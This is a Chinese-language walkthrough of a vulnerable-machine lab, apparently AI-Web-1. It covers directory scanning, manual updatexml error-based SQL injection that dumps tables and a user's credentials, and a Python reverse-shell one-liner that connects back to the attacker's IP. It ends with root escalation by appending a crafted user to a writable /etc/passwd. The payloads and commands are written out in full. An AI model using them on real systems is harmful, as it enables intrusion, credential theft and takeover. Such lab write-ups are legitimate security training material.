总结:
- 报错注入常见的十种,本次用的是updatexml
- 获取os-sh的条件,具有可写权限的绝对路径需要自己拼接
- 使用openssl passwd -1 salt xxx xxx构造hash
目标主机为192.168.49.158
攻击kali机为192.168.49.129
前期的信息收集,端口服务,目录扫描,web框架等
端口服务:
只开放80端口且存在两个目录
访问web页面,使用nikto和dirb针对主机和目录进行探测:
主页和前端源码没有提供信息
查看下目录扫描结果:
以及nikto针对主机扫描的结果:
目前还是打开web页面的robots.txt查看有没有可以利用的信息:
存在两个目录,依次访问查看页面:
http://192.168.49.158/m3diNf0/
这个页面是403但是我们可以继续对二级目录进行扫描,发现info.php目录
在info.php页面中出现phpinfo配置页面:
http://192.168.49.158/se3reTdir777/uploads/依然是403,根据路径可以看出这是个文件上传的目录,这个路径是可以写入的。
返回上一级发现存在数据交互的地方:
http://192.168.49.158/se3reTdir777/#
疑似SQL注入点,使用bp抓包进行测试:
芜湖,手注一波~
语句闭合uid=1'+--+&Operation=Submit
是存在报错注入,常见的报错注入有十种,这里我用的是updatexml报错
uid=1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#&Operation=Submit
获取当前数据库aiweb1,用户名以及路径
通过数据库找到表
uid=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&Operation=Submit
找到两张表,其中systemUser表存在数据
查找systemUserb表中的字段名
uid=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='systemUser')),1)#&Operation=Submit
找到两个关键字段userName,password
查询数据
uid=1'and updatexml(1,concat(0x7e,(select group_concat(userName,0x7e,password) from aiweb1.systemUser)),1)#&Operation=Submit
XPATH syntax error: '~t00r~RmFrZVVzZXJQYXNzdzByZA==,a'
Base64解密一下
t00l FakeUserPassw0rd
问题来了,他只开放了80没有ssh,而且web没有登陆页面,我为什么不sqlmap直接—os-sh,而是在这里搞手注?
使用ossh最重要的几点:
- 需要知道网站的路径
- 路径要求可写权限
- 也就是要有注入点
通过报错注入和info.php页面都出现了网站路径
uid=1'and updatexml(1,concat(0x7e,@@datadir),1)#&Operation=Submit
路径1:~/var/lib/mysql/
路径2:
/home/www/html/web1x443290o2sdf92213
路径3:
http://192.168.49.158/se3reTdir777/uploads/
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
这里使用路径3,1和2都没有写入的权限,而路径3是文件上传的路径存在写入权限的。
本地的绝对路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
我不太习惯使用sqlmap里面的ossh所以我准备使用python的反弹shell,本地使用nc监听接收反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('192.168.49.129',9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
进行本地的提权:
查看到/etc/passwd文件是www权限可以进行读写的
使用openssl配置一个hash的密码
openssl passwd -1 -salt ceshi 111111
构造语句然后追加到后面
echo 'ceshi:$1$ceshi$qnAnyuPt51g8P1T0QL5Ju1:0:0::/root:/bin/bash' >> /etc/passwd
su ceshi直接切换到root权限下的bash